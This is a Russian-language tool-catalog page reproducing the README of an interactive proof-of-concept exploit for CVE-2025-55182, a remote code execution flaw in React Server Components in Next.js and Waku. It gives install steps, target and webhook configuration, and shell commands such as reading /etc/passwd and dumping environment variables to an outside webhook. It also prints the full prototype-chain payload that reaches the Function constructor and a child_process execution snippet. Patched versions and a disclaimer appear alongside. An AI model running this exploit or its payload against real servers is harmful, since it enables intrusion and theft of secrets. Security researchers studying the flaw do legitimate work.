Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-interactive — CVE-2025-55182 Интерактивный PoC - React Server Components RCE - Образовательное исследование в области безопасности | Kitploit
Инструменты/GitHubGitHub/nathanj60/react2shell-interactive
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
nathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 Интерактивный PoC - React Server Components RCE - Образовательное исследование в области безопасности

Репозиторий
29 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

React2Shell - CVE-2025-55182 Интерактивный PoC

Интерактивная оболочка для эксплуатации CVE-2025-55182, уязвимости удаленного выполнения кода в React Server Components.

Отказ от ответственности

Этот инструмент предоставляется ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и АВТОРИЗОВАННЫХ целей тестирования безопасности.

  • Используйте только в системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение.
  • Несанкционированный доступ к компьютерным системам является незаконным.
  • Автор не несет ответственности за любое неправомерное использование этого инструмента.
  • Это proof-of-concept для исследований в области безопасности и повышения осведомленности.

Обзор уязвимости

CVE-2025-55182 затрагивает React Server Components (RSC) в:

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (различные версии)

Уязвимость позволяет удаленно выполнять код (RCE) через вредоносные полезные нагрузки, отправляемые в Server Actions.

Как это работает

  1. Протокол RSC использует синтаксис $@x для ссылок на внутренние объекты Chunk
  2. JavaScript автоматически распаковывает объекты с методами .then() (Promise-подобные)
  • Создавая вредоносную полезную нагрузку с контролируемыми свойствами _response, _formData и _prefix
  • Атакующий может добраться до конструктора Function через обход цепочки прототипов
  • Это позволяет выполнять произвольный JavaScript на сервере
  • root@kitploit:~
    $3:constructor:constructor → Function constructor → RCE
    

    Установка

    root@kitploit:~
    git clone https://github.com/NathanJ60/react2shell-interactive.git
    cd react2shell-interactive
    npm install
    

    Конфигурация

    Отредактируйте exploit.js и обновите эти значения:

    root@kitploit:~
    const TARGET_URL = 'http://localhost:3000/'          // Уязвимый сервер Next.js
    const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // URL вашего webhook
    

    Получить бесплатный webhook можно на: https://webhook.site

    Использование

    root@kitploit:~
    node exploit.js
    

    Команды

    КомандаОписание
    !testПроверить работу эксплойта (отправляет подтверждение на webhook)
    !envИзвлечь переменные окружения (process.env)
    !js <code>Выполнить произвольный JavaScript
    !helpПоказать справку
    !exitВыйти
    <command>Выполнить команду оболочки (например, whoami, ls, cat /etc/passwd)

    Пример сессии

    root@kitploit:~
    react2shell> !test
    [+] Отправлено! Проверьте webhook
    
    react2shell> whoami
    [+] Отправлено: whoami
    
    react2shell> ls -la
    [+] Отправлено: ls -la
    
    react2shell> !env
    [+] Отправлено! Проверьте webhook для переменных окружения
    

    Результаты отображаются в вашем webhook, а не в терминале.

    Технические детали

    Структура полезной нагрузки

    root@kitploit:~
    {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': '<JAVASCRIPT_CODE>//',
            '_formData': { 'get': '$3:constructor:constructor' },
            '_chunks': '$2:_response:_chunks'
        }
    }
    

    Порядок выполнения

    1. Полезная нагрузка отправляется как multipart form-data с заголовком next-action
    2. Парсер React Flight обрабатывает фрагменты
    3. $@3 создает ссылку на Chunk
    4. $3:constructor:constructor переходит к Function
    5. Содержимое _prefix передается в Function() и выполняется

    Примечания для Next.js 15+

    • Используются модули ESM, поэтому require() недоступен
    • Используйте динамический import():
      root@kitploit:~
      import("child_process").then(cp => cp.execSync("whoami"))
      

    Исправленные версии

    Обновитесь до этих версий, чтобы устранить уязвимость:

    • Next.js >= 15.1.7
    • Next.js >= 14.2.29
    • Next.js >= 13.5.9

    Ссылки

    • Официальный сайт React2Shell
    • Плагин Google Tsunami Scanner

    Лицензия

    Лицензия MIT - Только для образовательных целей.

    Автор

    PoC исследований безопасности - Используйте ответственно.

    Скачать инструмент